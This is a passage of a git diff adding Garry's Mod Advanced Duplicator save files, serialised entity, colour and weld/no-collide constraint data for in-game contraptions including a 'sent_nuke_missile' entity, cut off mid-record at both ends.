1838,-52.3604;Y:2=V:28.0593,8.50732,4107.58;Y:6=Y:5;Y:12=T:3FD87AF8;Y:14=Y:13;Y:15=N:0;}400E1A28{Y:7=N:20;Y:11=T:400E1AB0;}4005D310{Y:1=A:61.6806,33.6938,307.64;Y:2=V:47.0172,-10.3037,4107.58;Y:3=B:f;}33F65EB8{Y:7=N:20;Y:11=T:33F65F40;}34AF5F90{N:0=T:34AF5FF0;}40158E30{Y:1=A:61.6806,140.53,307.64;Y:2=V:-28.7471,-4.68677,4107.58;Y:3=B:f;}3FFC6F30{Y:7=N:20;Y:11=T:3FFC6FB8;}35493510{N:0=T:33D6D9B8;}34974710{Y:4=T:34974990;Y:1=A:61.6806,-78.4972,-52.3604;Y:2=V:18.1035,-78.527,4108.66;Y:6=Y:5;Y:12=T:34974820;Y:14=Y:13;Y:15=N:0;}34C4B798{Y:8=T:34C4B7C8;Y:9=N:0;Y:10=N:0;}3FF1F298{Y:7=N:20;Y:11=T:3FF1F320;}3FF1F188{Y:4=T:3FF1F380;Y:1=A:61.6806,-39.2302,-52.3604;Y:2=V:42.3037,-64.1155,4108.8;Y:6=Y:5;Y:12=T:3FF1F298;Y:14=Y:13;Y:15=N:0;}34DDF5A8{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}34E1EBC8{Y:8=T:34E1EBF8;Y:9=N:0;Y:10=N:0;}34F023D8{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}34DDF578{Y:8=T:34DDF5A8;Y:9=N:0;Y:10=N:0;}3FDE91A8{Y:1=A:61.6806,157.638,307.64;Y:2=V:-38.5314,-14.65,4107.58;Y:3=B:f;}40ECA930{Y:1=A:0,-132.702,360;Y:2=V:-18.2572,-3.24854,0.283081;Y:3=B:f;}33CD94D8{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}40E9E520{Y:8=T:40E9E550;Y:9=N:0;Y:10=N:0;}40E9E388{Y:4=T:40E9E580;Y:1=A:61.6806,-162.338,-52.3604;Y:2=V:-36.0274,-44.7428,4107.58;Y:6=Y:5;Y:12=T:40E9E498;Y:14=Y:13;Y:15=N:0;}34C4B710{Y:7=N:20;Y:11=T:34C4B798;}34E58130{Y:8=T:34E58160;Y:9=N:0;Y:10=N:0;}40D8B6B8{N:0=T:40D8B718;}3FD87B80{Y:8=T:3FD87BB0;Y:9=N:0;Y:10=N:0;}350DF150{Y:4=T:350DF348;Y:1=A:61.6806,-125.017,-52.3604;Y:2=V:-15.4036,-72.6674,4108.54;Y:6=Y:5;Y:12=T:350DF1D8;Y:14=Y:13;Y:15=N:0;}3FDE9148{N:0=T:3FDE91A8;}400E9A20{Y:8=T:400E9A50;Y:9=N:0;Y:10=N:0;}34C4B688{Y:4=T:34C4B880;Y:1=A:61.6806,-55.8562,-52.3604;Y:2=V:31.3167,-73.3831,4107.58;Y:6=Y:5;Y:12=T:34C4B710;Y:14=Y:13;Y:15=N:0;}34F02210{Y:4=T:34F02408;Y:1=A:61.6806,-92.6472,-52.3604;Y:2=V:3.97314,-79.6606,4107.58;Y:6=Y:5;Y:12=T:34F02320;Y:14=Y:13;Y:15=N:0;}4113AD40{Y:7=N:20;Y:11=T:4113ADC8;}3FF1F320{Y:8=T:3FF1F350;Y:9=N:0;Y:10=N:0;}34DE94F0{Y:4=T:34DE9770;Y:1=A:61.6806,135.754,-52.3604;Y:2=V:-24.409,0.00244141,4107.58;Y:6=Y:5;Y:12=T:34DE9600;Y:14=Y:13;Y:15=N:0;}353B20F8{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}34AF69E0{Y:4=T:34AF5F90;Y:1=A:61.6806,176.613,-52.3604;Y:2=V:-36.9575,-28.9463,4107.58;Y:6=Y:5;Y:12=T:34AF5E20;Y:14=Y:13;Y:15=N:0;}4060EFA8{N:0=T:4060F008;}34D98C38{Y:8=T:34D98C68;Y:9=N:0;Y:10=N:0;}33F65F40{Y:8=T:33F65F70;Y:9=N:0;Y:10=N:0;}33F65DA8{Y:4=T:33F66028;Y:1=A:61.6806,28.9188,-52.3604;Y:2=V:49.7395,-13.6024,4107.58;Y:6=Y:5;Y:12=T:33F65EB8;Y:14=Y:13;Y:15=N:0;}40D8B5D0{Y:8=T:40D8B600;Y:9=N:0;Y:10=N:0;}33B35E90{Y:4=T:33B35390;Y:1=A:61.6806,148.843,-52.3604;Y:2=V:-33.6848,-10.5995,4107.58;Y:6=Y:5;Y:12=T:33B35248;Y:14=Y:13;Y:15=N:0;}3FFD3488{Y:7=N:20;Y:11=T:3FFD3510;}34AC84B8{Y:8=T:34AC84E8;Y:9=N:0;Y:10=N:0;}34DE9BE8{Y:1=A:61.6806,135.754,307.64;Y:2=V:-24.409,0.00244141,4107.58;Y:3=B:f;}33CD9310{Y:4=T:4060EFA8;Y:1=A:61.6806,9.23479,-52.3604;Y:2=V:53.3923,-24.7657,4107.58;Y:6=Y:5;Y:12=T:33CD9420;Y:14=Y:13;Y:15=N:0;}406ADA80{Y:7=N:20;Y:11=T:406ADB08;}4013DC10{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}4013DB58{Y:7=N:20;Y:11=T:4013DBE0;}319EFDD8{Y:19=Y:18;}34E1EBF8{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}3FECB3E0{N:0=T:4005D310;} +Constraints:34BF1880{T:34BF18E0;T:34BF1998;}33E7C8A0{T:33E7C900;T:33E7C9B8;}4138C9B0{Y:22=N:177;Y:23=N:0;}406438F8{Y:22=N:183;Y:23=N:0;}33B35618{Y:22=N:183;Y:23=N:0;}406AF350{T:406AF3B0;T:406AF468;}3FD881A0{Y:24=T:3FD881F8;Y:26=Y:25;}3493ED68{T:3493EDC8;T:3493EE80;}34BCB948{Y:22=N:183;Y:23=N:0;}33C37DE8{Y:22=N:164;Y:23=N:0;}34DE9CF8{T:34DE9D58;T:34DE9E10;}40623EC0{Y:22=N:165;Y:23=N:0;}350AC638{Y:22=N:183;Y:23=N:0;}33A70950{T:33A709B0;T:33A70A68;}34C43E18{Y:22=N:188;Y:23=N:0;}400E2130{T:400E2190;T:400E2248;}33F8BF80{Y:22=N:183;Y:23=N:0;}33E7C9B8{Y:22=N:183;Y:23=N:0;}40E9ECB0{Y:22=N:183;Y:23=N:0;}3493EE80{Y:22=N:183;Y:23=N:0;}33D6DBE0{Y:22=N:183;Y:23=N:0;}33D91888{T:33D918E8;T:33D919A0;}3FD881F8{T:3FD88258;T:3FD88310;}34AF6160{Y:22=N:152;Y:23=N:0;}40BDEBE0{Y:22=N:183;Y:23=N:0;}3FD88258{Y:22=N:170;Y:23=N:0;}34E1EDC8{Y:24=T:34E1EE20;Y:26=Y:25;}34F02B38{Y:22=N:183;Y:23=N:0;}418D46E0{Y:24=T:418D4738;Y:26=Y:25;}3FE9F718{Y:22=N:183;Y:23=N:0;}33C37D88{T:33C37DE8;T:33C37EA0;}34BF1828{Y:24=T:34BF1880;Y:26=Y:25;}40D8B748{Y:24=T:34BCB830;Y:26=Y:25;}3FFAF0C0{Y:22=N:183;Y:23=N:0;}3FE60D70{T:349AF378;T:349AF430;}34DDFC50{Y:22=N:181;Y:23=N:0;}34C24AC8{Y:24=T:34C24B20;Y:26=Y:25;}34BCB830{T:34BCB890;T:34BCB948;}3FFC7688{Y:22=N:169;Y:23=N:0;}350AC520{T:350AC580;T:350AC638;}34E587F8{Y:22=N:158;Y:23=N:0;}40056FC0{Y:22=N:193;Y:23=N:0;}3FFAEFA8{T:3FFAF008;T:3FFAF0C0;}418D4738{T:418D4798;T:418D4850;}33D919A0{Y:22=N:183;Y:23=N:0;}3492C488{Y:22=N:183;Y:23=N:0;}4013DD28{T:4013DDB0;T:4013DDE0;}40E9EBF8{Y:22=N:173;Y:23=N:0;}350735F8{Y:22=N:167;Y:23=N:0;}H34AB0550{T:35073540;T:3FE9F5A8;T:3FFD3B28;T:40623E08;T:34E58740;T:40D8B748;T:33D6DA70;T:3493ED10;T:40BDEA70;T:33D91830;T:350AC4C8;T:33E7C848;T:3FFC75D0;T:34AD89F8;T:4060F0C0;T:4138C8F8;T:34C24AC8;T:34E1EDC8;T:33A708F8;T:34DDFB98;T:418D46E0;T:3FD881A0;T:34D989E8;T:33C37D30;T:406AF2F8;T:34BF1828;T:353B26E8;T:40643788;T:34D98E38;T:3FE60D18;T:4005D3C8;T:4013DCF8;T:400E20D8;T:34AFA4D8;T:33B354A8;T:40158EE8;T:40E9EB40;T:34C43D60;T:333DF7E8;T:34AF60A8;T:34F029C8;T:3FFA6390;T:34DE9CA0;}34E1EE20{T:34E1EE80;T:34E1EEB0;}33A70A68{Y:22=N:183;Y:23=N:0;}353B2740{T:353B27A0;T:353B2858;}3FFAF008{Y:22=N:195;Y:23=N:0;}34BF18E0{Y:22=N:162;Y:23=N:0;}33D6DB28{Y:22=N:163;Y:23=N:0;}34DDFB98{Y:24=T:34DDFBF0;Y:26=Y:25;}33D918E8{Y:22=N:179;Y:23=N:0;}40623E08{Y:24=T:40623E60;Y:26=Y:25;}34E58740{Y:24=T:34E58798;Y:26=Y:25;}34AD8B68{Y:22=N:183;Y:23=N:0;}33E7C848{Y:24=T:33E7C8A0;Y:26=Y:25;}34AF60A8{Y:24=T:34AF6100;Y:26=Y:25;}400E2190{Y:22=N:157;Y:23=N:0;}34DDFD08{Y:22=N:183;Y:23=N:0;}33C37EA0{Y:22=N:183;Y:23=N:0;}40BDEAC8{T:40BDEB28;T:40BDEBE0;}349AF430{Y:22=N:183;Y:23=N:0;}34BF1998{Y:22=N:183;Y:23=N:0;}40623F78{Y:22=N:183;Y:23=N:0;}34D98E38{Y:24=T:34D98E90;Y:26=Y:25;}3FFD3C98{Y:22=N:183;Y:23=N:0;}4005D3C8{Y:24=T:4005D420;Y:26=Y:25;}34DE9E10{Y:22=N:183;Y:23=N:0;}406AF2F8{Y:24=T:406AF350;Y:26=Y:25;}400E20D8{Y:24=T:400E2130;Y:26=Y:25;}34E588B0{Y:22=N:183;Y:23=N:0;}3FFA6448{Y:22=N:184;Y:23=N:0;}3FFC75D0{Y:24=T:3FFC7628;Y:26=Y:25;}35073540{Y:24=T:35073598;Y:26=Y:25;}40623E60{T:40623EC0;T:40623F78;}34D98AA0{Y:22=N:180;Y:23=N:0;}400E2248{Y:22=N:183;Y:23=N:0;}3FFC7628{T:3FFC7688;T:3FFC7740;}3FFD3B28{Y:24=T:3FFD3B80;Y:26=Y:25;}3FE9F5A8{Y:24=T:3FE9F600;Y:26=Y:25;}3FFA63E8{T:3FFA6448;T:3FFA6500;}40BDEB28{Y:22=N:153;Y:23=N:0;}406437E0{T:40643840;T:406438F8;}4060F230{Y:22=N:183;Y:23=N:0;}353B2858{Y:22=N:183;Y:23=N:0;}3FFD3B80{T:3FFD3BE0;T:3FFD3C98;}33E7C900{Y:22=N:190;Y:23=N:0;}34D98B58{Y:22=N:183;Y:23=N:0;}33D6DA70{Y:24=T:33D6DAC8;Y:26=Y:25;}34AD8AB0{Y:22=N:176;Y:23=N:0;}3FFC7740{Y:22=N:183;Y:23=N:0;}406AF468{Y:22=N:183;Y:23=N:0;}34DE9D58{Y:22=N:174;Y:23=N:0;}34AD89F8{Y:24=T:34AD8A50;Y:26=Y:25;}34DE9CA0{Y:24=T:34DE9CF8;Y:26=Y:25;}3FFA6500{Y:22=N:183;Y:23=N:0;}3FFA6390{Y:24=T:3FFA63E8;Y:26=Y:25;}350AC4C8{Y:24=T:350AC520;Y:26=Y:25;}35073598{T:350735F8;T:350736B0;}3493EDC8{Y:22=N:168;Y:23=N:0;}34F02A80{Y:22=N:155;Y:23=N:0;}34D98A40{T:34D98AA0;T:34D98B58;}34D98FA8{Y:22=N:183;Y:23=N:0;}34F02A20{T:34F02A80;T:34F02B38;}3FD88310{Y:22=N:183;Y:23=N:0;}34F029C8{Y:24=T:34F02A20;Y:26=Y:25;}34AF6100{T:34AF6160;T:3492C488;}418D4850{Y:22=N:183;Y:23=N:0;}347B0E98{Y:22=N:151;Y:23=N:0;}34C43DB8{T:34C43E18;T:34C43ED0;}333DF7E8{Y:24=T:34B0DF10;Y:26=Y:27;Y:28=N:0;}34C43ED0{Y:22=N:183;Y:23=N:0;}4060F178{Y:22=N:178;Y:23=N:0;}40643840{Y:22=N:160;Y:23=N:0;}34B0DF10{T:347B0E98;T:33F8BF80;}4138C950{T:4138C9B0;T:4138CA68;}34E1EEB0{Y:22=N:183;Y:23=N:0;}34DDFBF0{T:34DDFC50;T:34DDFD08;}3FFD3BE0{Y:22=N:186;Y:23=N:0;}33A708F8{Y:24=T:33A70950;Y:26=Y:25;}4005D480{Y:22=N:191;Y:23=N:0;}40E9EB40{Y:24=T:40E9EB98;Y:26=Y:25;}40158EE8{Y:24=T:3FFAEFA8;Y:26=Y:25;}33B35560{Y:22=N:154;Y:23=N:0;}33B35500{T:33B35560;T:33B35618;}3FE9F600{T:3FE9F660;T:3FE9F718;}33B354A8{Y:24=T:33B35500;Y:26=Y:25;}33D91830{Y:24=T:33D91888;Y:26=Y:25;}34A0AAC8{Y:22=N:183;Y:23=N:0;}3519BD50{T:40056FC0;T:34A0AAC8;}34AFA4D8{Y:24=T:3519BD50;Y:26=Y:25;}33D6DAC8{T:33D6DB28;T:33D6DBE0;}33A709B0{Y:22=N:171;Y:23=N:0;}4060F118{T:4060F178;T:4060F230;}40BDEA70{Y:24=T:40BDEAC8;Y:26=Y:25;}353B27A0{Y:22=N:175;Y:23=N:0;}4060F0C0{Y:24=T:4060F118;Y:26=Y:25;}4013DDE0{Y:22=N:183;Y:23=N:0;}4013DDB0{Y:22=N:161;Y:23=N:0;}34AD8A50{T:34AD8AB0;T:34AD8B68;}34C43D60{Y:24=T:34C43DB8;Y:26=Y:25;}4013DCF8{Y:24=T:4013DD28;Y:26=Y:25;}40E9EB98{T:40E9EBF8;T:40E9ECB0;}406AF3B0{Y:22=N:156;Y:23=N:0;}4005D420{T:4005D480;T:4005D4B0;}349AF378{Y:22=N:187;Y:23=N:0;}4005D4B0{Y:22=N:183;Y:23=N:0;}34BCB890{Y:22=N:172;Y:23=N:0;}3FE60D18{Y:24=T:3FE60D70;Y:26=Y:25;}4138CA68{Y:22=N:183;Y:23=N:0;}34D98EF0{Y:22=N:194;Y:23=N:0;}350AC580{Y:22=N:185;Y:23=N:0;}4138C8F8{Y:24=T:4138C950;Y:26=Y:25;}34C24B20{T:34C24B80;T:34C24C38;}3FE9F660{Y:22=N:166;Y:23=N:0;}34C24B80{Y:22=N:159;Y:23=N:0;}34C24C38{Y:22=N:183;Y:23=N:0;}34D98E90{T:34D98EF0;T:34D98FA8;}418D4798{Y:22=N:192;Y:23=N:0;}40643788{Y:24=T:406437E0;Y:26=Y:25;}353B26E8{Y:24=T:353B2740;Y:26=Y:25;}3493ED10{Y:24=T:3493ED68;Y:26=Y:25;}350736B0{Y:22=N:183;Y:23=N:0;}33C37D30{Y:24=T:33C37D88;Y:26=Y:25;}34D989E8{Y:24=T:34D98A40;Y:26=Y:25;}34E58798{T:34E587F8;T:34E588B0;}34E1EE80{Y:22=N:189;Y:23=N:0;} +[Dict] +1:"LocalAngle" +2:"LocalPos" +3:"Frozen" +4:"PhysicsObjects" +5:"models/weapons/w_missile_closed.mdl" +6:"Model" +7:"CollisionGroupMod" +8:"Color" +9:"RenderMode" +10:"RenderFX" +11:"colour" +12:"EntityMods" +13:"sent_nuke_missile" +14:"Class" +15:"Skin" +16:"models/hunter/misc/cone1x1.mdl" +17:"prop_physics" +18:"phoenix_storms/stripes" +19:"MaterialOverride" +20:"material" +21:"models/hunter/misc/cone2x2.mdl" +22:"Index" +23:"Bone" +24:"Entity" +25:"NoCollide" +26:"Type" +27:"Weld" +28:"forcelimit" +Saved:1019 \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/keepon.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/keepon.txt new file mode 100644 index 0000000..1bbdf1d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/keepon.txt @@ -0,0 +1,57 @@ +[Info] +Type:AdvDupe File +Creator:"[SCP] Youtube.com/KevaughanShiu" +Date:04/26/08 +Description:"none" +Entities:9 +Constraints:31 +[More Information] +FileVersion:0.84 +AdvDupeVersion:1.84 +AdvDupeToolVersion:1.813 +AdvDupeSharedVersion:1.72 +SerialiserVersion:1.4 +WireVersion:Not Installed +Time:03:54 PM +Head:76 +HoldAngle:0,169.605,0 +HoldPos:-22.5296,-35.67,47.9099 +StartPos:2067.55,-1108.25,-0.96875 +[Save] +Entities:44348DB0{N:0=T:4462C390;}35F63BB8{Y:13=N:200;}35D178B0{Y:21=N:20;Y:12=T:36D2E038;Y:18=T:45C1FC68;}44675860{N:0=T:367B39A8;}36173C10{Y:15=T:44659C30;Y:16=N:0;Y:17=N:0;}45BCF048{Y:15=T:368FFE90;Y:16=N:0;Y:17=N:0;}44048C70{Y:11=Y:10;}44464010{Y:11=Y:10;}368E76B0{Y:15=T:52E0F320;Y:16=N:0;Y:17=N:0;}36173E08{Y:12=T:446A2868;Y:14=T:435B3C40;Y:18=T:45BCF048;}438E2E58{Y:18=T:368E76B0;Y:12=T:52E0F370;}443C74C8{N:0=T:4510DD00;}H44C8D328{N:76=T:532E7E28;N:80=T:43B6CCB8;N:84=T:452ACF68;N:77=T:4446F940;N:81=T:43F85CE8;N:75=T:36173DB8;N:79=T:52EE10A8;N:83=T:44402F88;N:69=T:438E2E08;}52E0F370{Y:11=Y:10;}438E2E08{Y:2=Y:1;Y:3=A:-0.537049,131.936,-0.049408;Y:4=V:-39.7214,11.9468,104.775;Y:5=N:0;Y:7=T:453C34B8;Y:9=Y:8;Y:19=T:438E2E58;}452ACF68{Y:2=Y:23;Y:3=A:-85.0118,-166.929,-175.553;Y:4=V:-3.78784,24.2438,122.062;Y:5=N:0;Y:7=T:44675860;Y:9=Y:8;Y:19=T:36647D58;}44448340{Y:15=T:52D4FA90;Y:16=N:0;Y:17=N:0;}435B3C40{Y:13=N:200;}44510888{Y:11=Y:22;}4462C390{Y:3=A:-89.2242,-153.226,138.953;Y:4=V:-6.94971,-9.23499,122.006;Y:6=B:f;}4446F940{Y:2=Y:20;Y:3=A:-0.0805319,-51.9514,0.122944;Y:4=V:-1.53711,-10.8082,122.272;Y:5=N:0;Y:7=T:52DC7700;Y:9=Y:8;Y:19=T:35D178B0;}367B39A8{Y:3=A:-85.0118,-166.929,184.447;Y:4=V:-3.78784,24.2438,122.062;Y:6=B:f;}4510DD00{Y:3=A:0.0651674,-48.0584,179.95;Y:4=V:-39.7301,11.9542,104.172;Y:6=B:f;}526E33D8{N:0=T:52E3A980;}44220BA0{Y:21=N:20;Y:12=T:52E3C948;}44402F88{Y:2=Y:23;Y:3=A:-89.2242,-153.226,138.953;Y:4=V:-6.94971,-9.23499,122.006;Y:5=N:0;Y:7=T:44348DB0;Y:9=Y:8;Y:19=T:44220BA0;}368FFE90{S:"a"=N:255;S:"b"=N:0;S:"g"=N:255;S:"r"=N:250;}52D59C78{Y:3=A:-0.052299,-138.058,179.931;Y:4=V:-40.528,11.4601,47.9733;Y:6=B:f;}44659C30{S:"a"=N:255;S:"b"=N:0;S:"g"=N:255;S:"r"=N:250;}52E3A980{Y:3=A:-0.589961,-84.9927,0.772026;Y:4=V:0.408203,25.6316,122.167;Y:6=B:f;}3585A380{Y:18=T:43A7F580;Y:12=T:44048C70;}453C34B8{N:0=T:453C35F8;}44659C80{Y:11=Y:22;}445C6380{N:0=T:52EF33D8;}45897EB8{Y:21=N:20;Y:12=T:44659C80;Y:18=T:36173C10;}45B8BA88{S:"a"=N:255;S:"b"=N:0;S:"g"=N:255;S:"r"=N:250;}52EE10A8{Y:2=Y:20;Y:3=A:0.338176,-16.3874,0.184927;Y:4=V:4.71411,7.06445,104.754;Y:5=N:0;Y:7=T:445C6380;Y:9=Y:8;Y:19=T:45897EB8;}43F85CE8{Y:2=Y:1;Y:3=A:0.0651674,-48.0584,179.95;Y:4=V:-39.7301,11.9542,104.172;Y:5=N:0;Y:7=T:443C74C8;Y:9=Y:8;Y:19=T:3585A380;}36647D58{Y:21=N:20;Y:12=T:44464010;}52E0F320{S:"a"=N:255;S:"b"=N:0;S:"g"=N:255;S:"r"=N:250;}446A2868{Y:11=Y:10;}36039E18{Y:3=A:-0.420333,41.9311,359.969;Y:4=V:-40.537,11.4642,47.4535;Y:6=B:f;}44C8E188{N:0=T:36039E18;}36D2E038{Y:11=Y:22;}36173DB8{Y:2=Y:1;Y:3=A:-0.420333,41.9311,-0.0306091;Y:4=V:-40.537,11.4642,47.4535;Y:5=N:0;Y:7=T:44C8E188;Y:9=Y:8;Y:19=T:36173E08;}52D43AD8{Y:21=N:20;Y:12=T:44510888;Y:18=T:44448340;}44099CB0{Y:15=T:45B8BA88;Y:16=N:0;Y:17=N:0;}52D4FA90{S:"a"=N:255;S:"b"=N:0;S:"g"=N:255;S:"r"=N:250;}52E3C948{Y:11=Y:10;}532E7E28{Y:2=Y:1;Y:3=A:-0.052299,-138.058,179.931;Y:4=V:-40.528,11.4601,47.9733;Y:5=N:0;Y:7=T:445706B0;Y:9=Y:8;Y:19=T:52F7A188;}52F7A188{Y:12=T:533150A8;Y:14=T:35F63BB8;Y:18=T:44099CB0;}44696888{S:"a"=N:255;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}43A7F580{Y:15=T:52E40EB0;Y:16=N:0;Y:17=N:0;}533150A8{Y:11=Y:10;}52E40EB0{S:"a"=N:255;S:"b"=N:0;S:"g"=N:255;S:"r"=N:250;}453C35F8{Y:3=A:-0.537049,131.936,359.951;Y:4=V:-39.7214,11.9468,104.775;Y:6=B:f;}445706B0{N:0=T:52D59C78;}45C1FC68{Y:15=T:44696888;Y:16=N:0;Y:17=N:0;}52DC7700{N:0=T:457999A0;}457999A0{Y:3=A:-0.0805319,-51.9514,0.122944;Y:4=V:-1.53711,-10.8082,122.272;Y:6=B:f;}52EF33D8{Y:3=A:0.338176,-16.3874,0.184927;Y:4=V:4.71411,7.06445,104.754;Y:6=B:f;}43B6CCB8{Y:2=Y:20;Y:3=A:-0.589961,-84.9927,0.772026;Y:4=V:0.408203,25.6316,122.167;Y:5=N:0;Y:7=T:526E33D8;Y:9=Y:8;Y:19=T:52D43AD8;} +Constraints:434C7468{T:4422CB68;T:36719868;}445C4C70{Y:26=T:434C7468;Y:28=Y:27;Y:30=N:0;}445D6CB8{Y:26=T:44751B78;Y:28=Y:27;Y:29=B:t;Y:30=N:0;}H445559A8{T:52E4EE38;T:3674E780;T:43B1FFD0;T:52D520E8;T:4517DEB8;T:44706FC8;T:45D7C330;T:52EAFB58;T:46396A80;T:44B5F548;T:451CC270;T:36516A30;T:52F0BE28;T:450E7B50;T:45466240;T:445C4C70;T:44074B88;T:446CE1D8;T:3680C9F8;T:445D6CB8;T:52F6F760;T:442069C0;T:36749820;T:52F7B9F0;T:446FD918;T:52E0F700;T:36CCDD80;T:44AD1B90;T:36CD3AD0;T:45A7BBC0;T:45CF1C38;}43B92648{Y:24=N:80;Y:25=N:0;}44AD1B90{Y:26=T:45775F48;Y:28=Y:31;}45523370{T:52E9BAD0;T:3683A6A0;}4422CB68{Y:24=N:76;Y:25=N:0;}4471E8A0{Y:24=N:69;Y:25=N:0;}532D1618{Y:24=N:80;Y:25=N:0;}4517DEB8{Y:26=T:4517DF08;Y:28=Y:27;Y:30=N:0;}52765DA0{T:532D1618;T:52F22398;}45CF1C38{Y:26=T:52765DA0;Y:28=Y:27;Y:29=B:t;Y:30=N:0;}44609678{T:468B4DC0;T:3651C998;}45501B28{Y:24=N:83;Y:25=N:0;}442069C0{Y:26=T:459AEF28;Y:28=Y:31;}36AFE6F8{Y:24=N:79;Y:25=N:0;}465C4920{Y:24=N:83;Y:25=N:0;}52B8A4C8{Y:24=N:79;Y:25=N:0;}44B5F548{Y:26=T:43B949F8;Y:28=Y:27;Y:30=N:0;}45A7BBC0{Y:26=T:43FE1A78;Y:28=Y:27;Y:29=B:t;Y:30=N:0;}445558B8{T:45AA3AF8;T:45AA3B48;}453B9F28{T:445F4CA0;T:43935920;}3680C9F8{Y:26=T:45AA3CB8;Y:28=Y:27;Y:30=N:0;}43F00D40{Y:24=N:75;Y:25=N:0;}44556A90{T:446580B0;}45D7C330{Y:26=T:4536FF88;Y:28=Y:27;Y:29=B:t;Y:30=N:0;}36D99FB0{T:4456E4A8;T:43F00D40;}43B9C590{Y:24=N:75;Y:25=N:0;}3651C998{Y:24=N:75;Y:25=N:0;}436BB3C0{T:365553C0;T:43A74600;}45AA3AF8{Y:24=N:69;Y:25=N:0;}43B1FFD0{Y:26=T:44609678;Y:28=Y:31;}43F827A0{Y:24=N:75;Y:25=N:0;}4595F130{Y:24=N:83;Y:25=N:0;}52F2DD48{T:52E65390;T:360772A0;}365553C0{Y:24=N:79;Y:25=N:0;}44624770{Y:24=N:77;Y:25=N:0;}469549D0{Y:24=N:76;Y:25=N:0;}445FA468{Y:24=N:81;Y:25=N:0;}52B666A0{Y:24=N:69;Y:25=N:0;}52E39508{T:44514400;T:44633608;}44611E88{T:45C117B0;T:36597B18;}45775F48{T:445FA468;T:43F827A0;}4553EBE0{Y:24=N:69;Y:25=N:0;}451CC270{Y:26=T:453B9F28;Y:28=Y:27;Y:30=N:0;}45AA3B48{Y:24=N:76;Y:25=N:0;}4442CD08{Y:24=N:81;Y:25=N:0;}36CD3AD0{Y:26=T:36D99FB0;Y:28=Y:31;}52E3D4F8{T:3619D758;T:44C9AD18;}36CCDD80{Y:26=T:367DBC28;Y:28=Y:31;}43A74600{Y:24=N:84;Y:25=N:0;}3605DF08{Y:24=N:69;Y:25=N:0;}444FD428{Y:24=N:69;Y:25=N:0;}4517DF08{T:469549D0;T:46954A20;}367DBC28{T:4442CD08;T:4553EBE0;}52F96EB8{T:4595F130;T:36AFE6F8;}52E9BAD0{Y:24=N:84;Y:25=N:0;}44706FC8{Y:26=T:445558B8;Y:28=Y:31;}36833840{Y:24=N:77;Y:25=N:0;}52D520E8{Y:26=T:52D52138;Y:28=Y:27;Y:29=B:t;Y:30=N:0;}44BBF270{Y:24=N:77;Y:25=N:0;}36D25638{Y:24=N:83;Y:25=N:0;}36AF9098{Y:24=N:81;Y:25=N:0;}464E10F8{T:36833840;T:36D25638;}365B7C68{Y:24=N:79;Y:25=N:0;}468B4DC0{Y:24=N:76;Y:25=N:0;}52E0F700{Y:26=T:436BB3C0;Y:28=Y:27;Y:29=B:t;Y:30=N:0;}367DADC0{Y:24=N:84;Y:25=N:0;}360772A0{Y:24=N:77;Y:25=N:0;}4408EA50{Y:24=N:81;Y:25=N:0;}45C117B0{Y:24=N:79;Y:25=N:0;}52F02DC8{Y:24=N:80;Y:25=N:0;}52F7B9F0{Y:26=T:446717F0;Y:28=Y:27;Y:29=B:t;Y:30=N:0;}36B3EDB8{Y:24=N:76;Y:25=N:0;}446580B0{Y:24=N:76;Y:25=N:0;}43B64038{Y:24=N:77;Y:25=N:0;}44DE4920{Y:24=N:69;Y:25=N:0;}52F0BE28{Y:26=T:52F0BE78;Y:28=Y:27;Y:29=B:t;Y:30=N:0;}3674CD68{T:36B3EDB8;T:4408EA50;}459AEF28{T:4423F118;T:43B92648;}43B949F8{T:44DE4920;T:43B9C590;}4468D5C0{T:36AF9098;T:4424F170;}44514400{Y:24=N:79;Y:25=N:0;}52F22398{Y:24=N:84;Y:25=N:0;}46396A80{Y:26=T:46396AD0;Y:28=Y:27;Y:30=N:0;}52B66650{Y:24=N:81;Y:25=N:0;}36749820{Y:26=T:3674CD68;Y:28=Y:27;Y:30=N:0;}445B2E90{Y:24=N:80;Y:25=N:0;}446FD918{Y:26=T:464E10F8;Y:28=Y:27;Y:29=B:t;Y:30=N:0;}46954A20{Y:24=N:75;Y:25=N:0;}44074B88{Y:26=T:52E3D4F8;Y:28=Y:27;Y:30=N:0;}44325F58{Y:24=N:84;Y:25=N:0;}52EAFB58{Y:26=T:52F96EB8;Y:28=Y:27;Y:29=B:t;Y:30=N:0;}46396AD0{T:52B66650;T:52B666A0;}52E4EE38{Y:26=T:52E39508;Y:28=Y:27;Y:29=B:t;Y:30=N:0;}44C9AD18{Y:24=N:77;Y:25=N:0;}36719868{Y:24=N:69;Y:25=N:0;}446717F0{T:367DADC0;T:44BBF270;}4537C5E8{Y:24=N:81;Y:25=N:0;}45AA3CB8{T:4537C5E8;T:52F02DC8;}445F4CA0{Y:24=N:81;Y:25=N:0;}4456E4A8{Y:24=N:69;Y:25=N:0;}4536FF88{T:44624770;T:444FD428;}44751B78{T:365486E8;T:465C4920;}43935920{Y:24=N:75;Y:25=N:0;}52F6F760{Y:26=T:465C5638;Y:28=Y:27;Y:30=N:0;}52E65390{Y:24=N:80;Y:25=N:0;}36597B18{Y:24=N:81;Y:25=N:0;}4423F118{Y:24=N:69;Y:25=N:0;}45466240{Y:26=T:52F2DD48;Y:28=Y:27;Y:29=B:t;Y:30=N:0;}4424F170{Y:24=N:76;Y:25=N:0;}3683A6A0{Y:24=N:69;Y:25=N:0;}52D52138{T:3605DF08;T:52B8A4C8;}3674E780{Y:26=T:44611E88;Y:28=Y:27;Y:30=N:0;}36516A30{Y:26=T:45523370;Y:28=Y:27;Y:30=N:0;}450E7B50{Y:26=T:4468D5C0;Y:28=Y:31;}446CE1D8{S:"Ang"=A:-0.00151798,90.0005,180.001;Y:28=Y:32;Y:26=T:44556A90;Y:33=N:100000;}44633608{Y:24=N:80;Y